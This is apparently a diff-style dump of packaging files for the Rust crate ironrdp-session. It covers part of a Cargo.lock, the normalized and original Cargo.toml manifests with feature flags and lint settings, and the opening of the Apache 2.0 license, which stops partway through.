checksum = "ed3955f1a9c7c0c15e092f9c887db08b1fc683305fdf6eb6684f22555355e202"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "num-integer"
|
||||||
|
version = "0.1.46"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f"
|
||||||
|
dependencies = [
|
||||||
|
"num-traits",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "num-traits"
|
||||||
|
version = "0.2.19"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
|
||||||
|
dependencies = [
|
||||||
|
"autocfg",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "once_cell"
|
||||||
|
version = "1.21.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pin-project-lite"
|
||||||
|
version = "0.2.17"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pkcs1"
|
||||||
|
version = "0.7.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c8ffb9f10fa047879315e6625af03c164b16962a5368d724ed16323b68ace47f"
|
||||||
|
dependencies = [
|
||||||
|
"der",
|
||||||
|
"spki",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pkg-config"
|
||||||
|
version = "0.3.33"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "19f132c84eca552bf34cab8ec81f1c1dcc229b811638f9d283dceabe58c5569e"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "proc-macro2"
|
||||||
|
version = "1.0.106"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934"
|
||||||
|
dependencies = [
|
||||||
|
"unicode-ident",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "qoicoubeh"
|
||||||
|
version = "0.5.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b9b82aa3fef8a980075775b8c46f874823b5b4a15de327d2dbb3b6fd818480ba"
|
||||||
|
dependencies = [
|
||||||
|
"bytemuck",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "quote"
|
||||||
|
version = "1.0.46"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "dfbc457d0c7a0759a614551b11a6409e5951f6c7537be1f1b7682b9ae9230368"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "r-efi"
|
||||||
|
version = "6.0.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "radium"
|
||||||
|
version = "0.7.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "dc33ff2d4973d518d823d61aa239014831e521c75da58e3df4840d3f47749d09"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rusticata-macros"
|
||||||
|
version = "4.1.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "faf0c4a6ece9950b9abdb62b1cfcf2a68b3b67a10ba445b3bb85be2a293d0632"
|
||||||
|
dependencies = [
|
||||||
|
"nom",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "sha1"
|
||||||
|
version = "0.10.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"cpufeatures",
|
||||||
|
"digest",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "shlex"
|
||||||
|
version = "2.0.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "spki"
|
||||||
|
version = "0.7.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d"
|
||||||
|
dependencies = [
|
||||||
|
"base64ct",
|
||||||
|
"der",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "syn"
|
||||||
|
version = "2.0.118"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1b9ae57f904213ebb649ce6895b8a66c66f0203b9319718f69a5612a065b1422"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"unicode-ident",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "synstructure"
|
||||||
|
version = "0.13.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tap"
|
||||||
|
version = "1.0.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "55937e1799185b12863d447f42597ed69d9928686b8d88a1df17376a097d8369"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "thiserror"
|
||||||
|
version = "2.0.18"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "4288b5bcbc7920c07a1149a35cf9590a2aa808e0bc1eafaade0b80947865fbc4"
|
||||||
|
dependencies = [
|
||||||
|
"thiserror-impl",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "thiserror-impl"
|
||||||
|
version = "2.0.18"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ebc4ee7f67670e9b64d05fa4253e753e016c6c95ff35b89b7941d6b856dec1d5"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tls_codec"
|
||||||
|
version = "0.4.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0de2e01245e2bb89d6f05801c564fa27624dbd7b1846859876c7dad82e90bf6b"
|
||||||
|
dependencies = [
|
||||||
|
"tls_codec_derive",
|
||||||
|
"zeroize",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tls_codec_derive"
|
||||||
|
version = "0.4.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2d2e76690929402faae40aebdda620a2c0e25dd6d3b9afe48867dfd95991f4bd"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tracing"
|
||||||
|
version = "0.1.44"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "63e71662fa4b2a2c3a26f570f037eb95bb1f85397f3cd8076caed2f026a6d100"
|
||||||
|
dependencies = [
|
||||||
|
"log",
|
||||||
|
"pin-project-lite",
|
||||||
|
"tracing-attributes",
|
||||||
|
"tracing-core",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tracing-attributes"
|
||||||
|
version = "0.1.31"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7490cfa5ec963746568740651ac6781f701c9c5ea257c58e057f3ba8cf69e8da"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tracing-core"
|
||||||
|
version = "0.1.36"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "db97caf9d906fbde555dd62fa95ddba9eecfd14cb388e4f491a66d74cd5fb79a"
|
||||||
|
dependencies = [
|
||||||
|
"once_cell",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "typenum"
|
||||||
|
version = "1.20.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "unicode-ident"
|
||||||
|
version = "1.0.24"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "version_check"
|
||||||
|
version = "0.9.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wyz"
|
||||||
|
version = "0.5.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "05f360fc0b24296329c78fda852a1e9ae82de9cf7b27dae4b7f62f118f77b9ed"
|
||||||
|
dependencies = [
|
||||||
|
"tap",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "x509-cert"
|
||||||
|
version = "0.2.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1301e935010a701ae5f8655edc0ad17c44bad3ac5ce8c39185f75453b720ae94"
|
||||||
|
dependencies = [
|
||||||
|
"const-oid",
|
||||||
|
"der",
|
||||||
|
"spki",
|
||||||
|
"tls_codec",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "yuv"
|
||||||
|
version = "0.8.16"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "5d85a782d94ee43f078bcfd6fa82d4e6a5b2d1cfbbad168e4df5a9f7b39ef48c"
|
||||||
|
dependencies = [
|
||||||
|
"num-traits",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "zeroize"
|
||||||
|
version = "1.9.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e13c156562582aa81c60cb29407084cdb54c4164760106ab78e6c5b0858cf64e"
|
||||||
|
dependencies = [
|
||||||
|
"zeroize_derive",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "zeroize_derive"
|
||||||
|
version = "1.5.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3c50655cbb0fe3fc43170059e702f1ce5e19b84cec58dc87b037a09935c2f328"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "zstd-safe"
|
||||||
|
version = "7.2.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8f49c4d5f0abb602a93fb8736af2a4f4dd9512e36f7f570d66e65ff867ed3b9d"
|
||||||
|
dependencies = [
|
||||||
|
"zstd-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "zstd-sys"
|
||||||
|
version = "2.0.16+zstd.1.5.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "91e19ebc2adc8f83e43039e79776e3fda8ca919132d68a1fed6a5faca2683748"
|
||||||
|
dependencies = [
|
||||||
|
"cc",
|
||||||
|
"pkg-config",
|
||||||
|
]
|
||||||
+210
@@ -0,0 +1,210 @@
|
|||||||
|
# THIS FILE IS AUTOMATICALLY GENERATED BY CARGO
|
||||||
|
#
|
||||||
|
# When uploading crates to the registry Cargo will automatically
|
||||||
|
# "normalize" Cargo.toml files for maximal compatibility
|
||||||
|
# with all versions of Cargo and also rewrite `path` dependencies
|
||||||
|
# to registry (e.g., crates.io) dependencies.
|
||||||
|
#
|
||||||
|
# If you are reading this file be aware that the original Cargo.toml
|
||||||
|
# will likely look very different (and much more reasonable).
|
||||||
|
# See Cargo.toml.orig for the original contents.
|
||||||
|
|
||||||
|
[package]
|
||||||
|
edition = "2024"
|
||||||
|
rust-version = "1.89"
|
||||||
|
name = "ironrdp-session"
|
||||||
|
version = "0.11.0"
|
||||||
|
authors = [
|
||||||
|
"Devolutions Inc. <infos@devolutions.net>",
|
||||||
|
"Teleport <goteleport.com>",
|
||||||
|
]
|
||||||
|
build = false
|
||||||
|
autolib = false
|
||||||
|
autobins = false
|
||||||
|
autoexamples = false
|
||||||
|
autotests = false
|
||||||
|
autobenches = false
|
||||||
|
description = "State machines to drive an RDP session"
|
||||||
|
homepage = "https://github.com/Devolutions/IronRDP"
|
||||||
|
readme = "README.md"
|
||||||
|
keywords = [
|
||||||
|
"rdp",
|
||||||
|
"remote-desktop",
|
||||||
|
"network",
|
||||||
|
"client",
|
||||||
|
"protocol",
|
||||||
|
]
|
||||||
|
categories = ["network-programming"]
|
||||||
|
license = "MIT OR Apache-2.0"
|
||||||
|
repository = "https://github.com/Devolutions/IronRDP"
|
||||||
|
resolver = "2"
|
||||||
|
|
||||||
|
[features]
|
||||||
|
default = []
|
||||||
|
qoi = [
|
||||||
|
"dep:qoicoubeh",
|
||||||
|
"ironrdp-pdu/qoi",
|
||||||
|
]
|
||||||
|
qoiz = [
|
||||||
|
"dep:zstd-safe",
|
||||||
|
"qoi",
|
||||||
|
]
|
||||||
|
|
||||||
|
[lib]
|
||||||
|
name = "ironrdp_session"
|
||||||
|
path = "src/lib.rs"
|
||||||
|
test = false
|
||||||
|
doctest = false
|
||||||
|
|
||||||
|
[dependencies.ironrdp-bulk]
|
||||||
|
version = "0.1"
|
||||||
|
|
||||||
|
[dependencies.ironrdp-core]
|
||||||
|
version = "0.2"
|
||||||
|
|
||||||
|
[dependencies.ironrdp-displaycontrol]
|
||||||
|
version = "0.8"
|
||||||
|
|
||||||
|
[dependencies.ironrdp-dvc]
|
||||||
|
version = "0.8"
|
||||||
|
|
||||||
|
[dependencies.ironrdp-error]
|
||||||
|
version = "0.2"
|
||||||
|
|
||||||
|
[dependencies.ironrdp-graphics]
|
||||||
|
version = "0.9"
|
||||||
|
|
||||||
|
[dependencies.ironrdp-pdu]
|
||||||
|
version = "0.9"
|
||||||
|
features = ["std"]
|
||||||
|
|
||||||
|
[dependencies.ironrdp-svc]
|
||||||
|
version = "0.8"
|
||||||
|
|
||||||
|
[dependencies.qoicoubeh]
|
||||||
|
version = "0.5"
|
||||||
|
optional = true
|
||||||
|
|
||||||
|
[dependencies.tracing]
|
||||||
|
version = "0.1"
|
||||||
|
features = ["log"]
|
||||||
|
|
||||||
|
[dependencies.zstd-safe]
|
||||||
|
version = "7.2"
|
||||||
|
features = ["std"]
|
||||||
|
optional = true
|
||||||
|
|
||||||
|
[lints.clippy]
|
||||||
|
alloc_instead_of_core = "warn"
|
||||||
|
allow_attributes = "warn"
|
||||||
|
as_conversions = "warn"
|
||||||
|
as_pointer_underscore = "warn"
|
||||||
|
as_ptr_cast_mut = "warn"
|
||||||
|
as_underscore = "warn"
|
||||||
|
cast_lossless = "warn"
|
||||||
|
cast_possible_truncation = "warn"
|
||||||
|
cast_possible_wrap = "warn"
|
||||||
|
cast_ptr_alignment = "warn"
|
||||||
|
cast_sign_loss = "warn"
|
||||||
|
cfg_not_test = "warn"
|
||||||
|
checked_conversions = "warn"
|
||||||
|
clone_on_ref_ptr = "warn"
|
||||||
|
cloned_instead_of_copied = "warn"
|
||||||
|
collection_is_never_read = "warn"
|
||||||
|
copy_iterator = "warn"
|
||||||
|
dbg_macro = "warn"
|
||||||
|
deref_by_slicing = "warn"
|
||||||
|
disallowed_script_idents = "warn"
|
||||||
|
doc_include_without_cfg = "warn"
|
||||||
|
empty_drop = "warn"
|
||||||
|
empty_enum_variants_with_brackets = "warn"
|
||||||
|
expl_impl_clone_on_copy = "warn"
|
||||||
|
filetype_is_file = "warn"
|
||||||
|
float_cmp = "warn"
|
||||||
|
float_cmp_const = "warn"
|
||||||
|
fn_to_numeric_cast_any = "warn"
|
||||||
|
get_unwrap = "warn"
|
||||||
|
implicit_clone = "warn"
|
||||||
|
infinite_loop = "warn"
|
||||||
|
inline_always = "warn"
|
||||||
|
large_futures = "warn"
|
||||||
|
large_include_file = "warn"
|
||||||
|
large_stack_frames = "warn"
|
||||||
|
large_types_passed_by_value = "warn"
|
||||||
|
lossy_float_literal = "warn"
|
||||||
|
map_with_unused_argument_over_ranges = "warn"
|
||||||
|
mem_forget = "warn"
|
||||||
|
missing_panics_doc = "warn"
|
||||||
|
missing_safety_doc = "warn"
|
||||||
|
mixed_read_write_in_expression = "warn"
|
||||||
|
multiple_inherent_impl = "warn"
|
||||||
|
multiple_unsafe_ops_per_block = "warn"
|
||||||
|
needless_raw_strings = "warn"
|
||||||
|
non_ascii_literal = "warn"
|
||||||
|
non_zero_suggestions = "warn"
|
||||||
|
or_fun_call = "warn"
|
||||||
|
panic = "warn"
|
||||||
|
partial_pub_fields = "warn"
|
||||||
|
precedence_bits = "warn"
|
||||||
|
print_stderr = "warn"
|
||||||
|
print_stdout = "warn"
|
||||||
|
ptr_cast_constness = "warn"
|
||||||
|
pub_without_shorthand = "warn"
|
||||||
|
range_plus_one = "warn"
|
||||||
|
rc_buffer = "warn"
|
||||||
|
rc_mutex = "warn"
|
||||||
|
redundant_clone = "warn"
|
||||||
|
redundant_type_annotations = "warn"
|
||||||
|
renamed_function_params = "warn"
|
||||||
|
rest_pat_in_fully_bound_structs = "warn"
|
||||||
|
return_self_not_must_use = "warn"
|
||||||
|
same_name_method = "warn"
|
||||||
|
self_named_module_files = "warn"
|
||||||
|
semicolon_outside_block = "warn"
|
||||||
|
separated_literal_suffix = "warn"
|
||||||
|
similar_names = "warn"
|
||||||
|
std_instead_of_core = "warn"
|
||||||
|
str_to_string = "warn"
|
||||||
|
string_add = "warn"
|
||||||
|
string_lit_chars_any = "warn"
|
||||||
|
string_slice = "warn"
|
||||||
|
suspicious_xor_used_as_pow = "warn"
|
||||||
|
todo = "warn"
|
||||||
|
trait_duplication_in_bounds = "warn"
|
||||||
|
transmute_ptr_to_ptr = "warn"
|
||||||
|
try_err = "warn"
|
||||||
|
type_repetition_in_bounds = "warn"
|
||||||
|
undocumented_unsafe_blocks = "warn"
|
||||||
|
unnecessary_box_returns = "warn"
|
||||||
|
unnecessary_safety_comment = "warn"
|
||||||
|
unnecessary_self_imports = "warn"
|
||||||
|
unused_result_ok = "warn"
|
||||||
|
unused_self = "warn"
|
||||||
|
unused_trait_names = "warn"
|
||||||
|
unwrap_used = "warn"
|
||||||
|
useless_let_if_seq = "warn"
|
||||||
|
wildcard_dependencies = "warn"
|
||||||
|
wildcard_imports = "warn"
|
||||||
|
|
||||||
|
[lints.rust]
|
||||||
|
absolute_paths_not_starting_with_crate = "warn"
|
||||||
|
ambiguous_negative_literals = "warn"
|
||||||
|
elided_lifetimes_in_paths = "warn"
|
||||||
|
invalid_reference_casting = "warn"
|
||||||
|
keyword_idents = "warn"
|
||||||
|
macro_use_extern_crate = "warn"
|
||||||
|
missing_unsafe_on_extern = "warn"
|
||||||
|
noop_method_call = "warn"
|
||||||
|
redundant_imports = "warn"
|
||||||
|
redundant_lifetimes = "warn"
|
||||||
|
single_use_lifetimes = "warn"
|
||||||
|
trivial_numeric_casts = "warn"
|
||||||
|
unit_bindings = "warn"
|
||||||
|
unreachable_pub = "warn"
|
||||||
|
unsafe_attr_outside_unsafe = "warn"
|
||||||
|
unsafe_op_in_unsafe_fn = "warn"
|
||||||
|
unused_crate_dependencies = "warn"
|
||||||
|
unused_lifetimes = "warn"
|
||||||
|
unused_macro_rules = "warn"
|
||||||
|
unused_qualifications = "warn"
|
||||||
|
unused_unsafe = "warn"
|
||||||
+38
@@ -0,0 +1,38 @@
|
|||||||
|
[package]
|
||||||
|
name = "ironrdp-session"
|
||||||
|
version = "0.11.0"
|
||||||
|
readme = "README.md"
|
||||||
|
description = "State machines to drive an RDP session"
|
||||||
|
edition.workspace = true
|
||||||
|
rust-version = "1.89"
|
||||||
|
license.workspace = true
|
||||||
|
homepage.workspace = true
|
||||||
|
repository.workspace = true
|
||||||
|
authors.workspace = true
|
||||||
|
keywords.workspace = true
|
||||||
|
categories.workspace = true
|
||||||
|
|
||||||
|
[lib]
|
||||||
|
doctest = false
|
||||||
|
test = false
|
||||||
|
|
||||||
|
[features]
|
||||||
|
default = []
|
||||||
|
qoi = ["dep:qoicoubeh", "ironrdp-pdu/qoi"]
|
||||||
|
qoiz = ["dep:zstd-safe", "qoi"]
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
ironrdp-bulk = { path = "../ironrdp-bulk", version = "0.1" }
|
||||||
|
ironrdp-core = { path = "../ironrdp-core", version = "0.2" } # public
|
||||||
|
ironrdp-svc = { path = "../ironrdp-svc", version = "0.8" } # public
|
||||||
|
ironrdp-dvc = { path = "../ironrdp-dvc", version = "0.8" } # public
|
||||||
|
ironrdp-error = { path = "../ironrdp-error", version = "0.2" } # public
|
||||||
|
ironrdp-graphics = { path = "../ironrdp-graphics", version = "0.9" } # public
|
||||||
|
ironrdp-pdu = { path = "../ironrdp-pdu", version = "0.9", features = ["std"] } # public
|
||||||
|
ironrdp-displaycontrol = { path = "../ironrdp-displaycontrol", version = "0.8" }
|
||||||
|
tracing = { version = "0.1", features = ["log"] }
|
||||||
|
qoicoubeh = { version = "0.5", optional = true }
|
||||||
|
zstd-safe = { version = "7.2", optional = true, features = ["std"] }
|
||||||
|
|
||||||
|
[lints]
|
||||||
|
workspace = true
|
||||||
+202
@@ -0,0 +1,202 @@
|
|||||||
|
|
||||||
|
Apache License
|
||||||
|
Version 2.0, January 2004
|
||||||
|
http://www.apache.org/licenses/
|
||||||
|
|
||||||
|
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||||
|
|
||||||
|
1. Definitions.
|
||||||
|
|
||||||
|
"License" shall mean the terms and conditions for use, reproduction,
|
||||||
|
and distribution as defined by Sections 1 through 9 of this document.
|
||||||
|
|
||||||
|
"Licensor" shall mean the copyright owner or entity authorized by
|
||||||
|
the copyright owner that is granting the License.
|
||||||
|
|
||||||
|
"Legal Entity" shall mean the union of the acting entity and all
|
||||||
|
other entities that control, are controlled by, or are under common
|
||||||
|
control with that entity. For the purposes of this definition,
|
||||||
|
"control" means (i) the power, direct or indirect, to cause the
|
||||||
|
direction or management of such entity, whether by contract or
|
||||||
|
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||||
|
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||||
|
|
||||||
|
"You" (or "Your") shall mean an individual or Legal Entity
|
||||||
|
exercising permissions granted by this License.
|
||||||
|
|
||||||
|
"Source" form shall mean the preferred form for making modifications,
|
||||||
|
including but not limited to software source code, documentation
|
||||||
|
source, and configuration files.
|
||||||
|
|
||||||
|
"Object" form shall mean any form resulting from mechanical
|
||||||
|
transformation or translation of a Source form, including but
|
||||||
|
not limited to compiled object code, generated documentation,
|
||||||
|
and conversions to other media types.
|
||||||
|
|
||||||
|
"Work" shall mean the work of authorship, whether in Source or
|
||||||
|
Object form, made available under the License, as indicated by a
|
||||||
|
copyright notice that is included in or attached to the work
|
||||||
|
(an example is provided in the Appendix below).
|
||||||
|
|
||||||
|
"Derivative Works" shall mean any work, whether in Source or Object
|
||||||
|
form, that is based on (or derived from) the Work and for which the
|
||||||
|
editorial revisions, annotations, elaborations, or other modifications
|
||||||
|
represent, as a whole, an original work of authorship. For the purposes
|
||||||
|
of this License, Derivative Works shall not include works that remain
|
||||||
|
separable from, or merely link (or bind by name) to the interfaces of,
|
||||||
|
the Work and Derivative Works thereof.
|
||||||
|
|
||||||
|
"Contribution" shall mean any work of authorship, including
|
||||||
|
the original version of the Work and any modifications or additions
|
||||||
|
to that Work or Derivative Works thereof, that is intentionally
|
||||||
|
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||||
|
or by an individual or Legal Entity authorized to submit on behalf of
|
||||||
|
the copyright owner. For the purposes of this definition, "submitted"
|
||||||
|
means any form of electronic, verbal, or written communication sent
|
||||||
|
to the Licensor or its representatives, including but not limited to
|
||||||
|
communication on electronic mailing lists, source code control systems,
|
||||||
|
and issue tracking systems that are managed by, or on behalf of, the
|
||||||
|
Licensor for the purpose of discussing and improving the Work, but
|
||||||
|
excluding communication that is conspicuously marked or otherwise
|
||||||
|
designated in writing by the copyright owner as "Not a Contribution."
|
||||||
|
|
||||||
|
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||||
|
on behalf of whom a Contribution has been received by Licensor and
|
||||||
|
subsequently incorporated within the Work.
|
||||||
|
|
||||||
|
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||||
|
this License, each Contributor hereby grants to You a perpetual,
|
||||||
|
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||||
|
copyright license to reproduce, prepare Derivative Works of,
|
||||||
|
publicly display, publicly perform, sublicense, and distribute the
|
||||||
|
Work and such Derivative Works in Source or Object form.
|
||||||
|
|
||||||
|
3. Grant of Patent License. Subject to the terms and conditions of
|
||||||
|
this License, each Contributor hereby grants to You a perpetual,
|
||||||
|
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||||
|
(except as stated in this section) patent license to make, have made,
|
||||||
|
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||||
|
where such license applies only to those patent claims licensable
|
||||||
|
by such Contributor that are necessarily infringed by their
|
||||||
|
Contribution(s) alone or by combination of their Contribution(s)
|
||||||
|
with the Work to which such Contribution(s) was submitted. If You
|
||||||
|
institute patent litigation against any entity (including a
|
||||||
|
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||||
|
or a Contribution incorporated within the Work constitutes direct
|
||||||
|
or contributory patent infringement, then any patent licenses
|
||||||
|
granted to You under this License for that Work shall terminate
|
||||||
|
as of the date such litigation is filed.
|
||||||
|
|
||||||
|
4. Redistribution. You may reproduce and distribute copies of the
|
||||||
|
Work or Derivative Works thereof in any medium, with or without
|
||||||
|
modifications, and in Source or Object form, provided that You
|
||||||
|
meet the following conditions:
|
||||||
|
|
||||||
|
(a) You must give any other recipients of the Work or
|
||||||
|
Derivative Works a copy of this License; and
|
||||||
|
|
||||||
|
(b) You must cause any modified files to carry prominent notices
|
||||||
|
stating that You changed the files; and
|
||||||
|
|
||||||
|
(c) You must retain, in the Source form of any Derivative Works
|
||||||
|
that You distribute, all copyright, patent, trademark, and
|
||||||
|
attribution notices from the Source form of the Work,
|
||||||
|
excluding those notices that do not pertain to any part of
|
||||||
|
the Derivative Works; and
|
||||||
|
|
||||||
|
(d) If the Work includes a "NOTICE" text file as part of its
|
||||||
|
distribution, then any Derivative Works that You distribute must
|
||||||
|
include a readable copy of the attribution notices contained
|
||||||
|
within such NOTICE file, excluding those notices that do not
|
||||||
|
pertain to any part of the Derivative Works, in at least one
|
||||||
|
of the following places: within a NOTICE text file distributed
|
||||||
|
as part of the Derivative Works; within the Source form or
|
||||||
|
documentation, if provided along with the Derivative Works; or,
|
||||||
|
within a display generated by the Derivative Works, if and
|
||||||
|
wherever such third-party notices normally appear. The contents
|
||||||
|
of the NOTICE file are for informational purposes only and
|
||||||
|
do not modify the License. You may add Your own attribution
|
||||||
|
notices within Derivative Works that You distribute, alongside
|
||||||
|
or as an addendum to the NOTICE text from the Work, provided
|
||||||
|
that such additional attribution notices cannot be construed
|
||||||
|
as modifying the License.
|
||||||
|
|
||||||
|
You may add Your own copyright statement to Your modifications and
|
||||||
|
may provide additional or different license terms and conditions
|
||||||
|
for use, reproduction, or distribution of Your modifications, or
|
||||||
|
for any such Derivative Works as a whole, provided Your use,
|
||||||
|
reproduction, and distribution of the Work otherwise complies with
|
||||||
|
the conditions stated in this License.
|
||||||
|
|
||||||
|
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||||
|
any Contribution intentionally submitted for inclusion in the Work
|
||||||
|
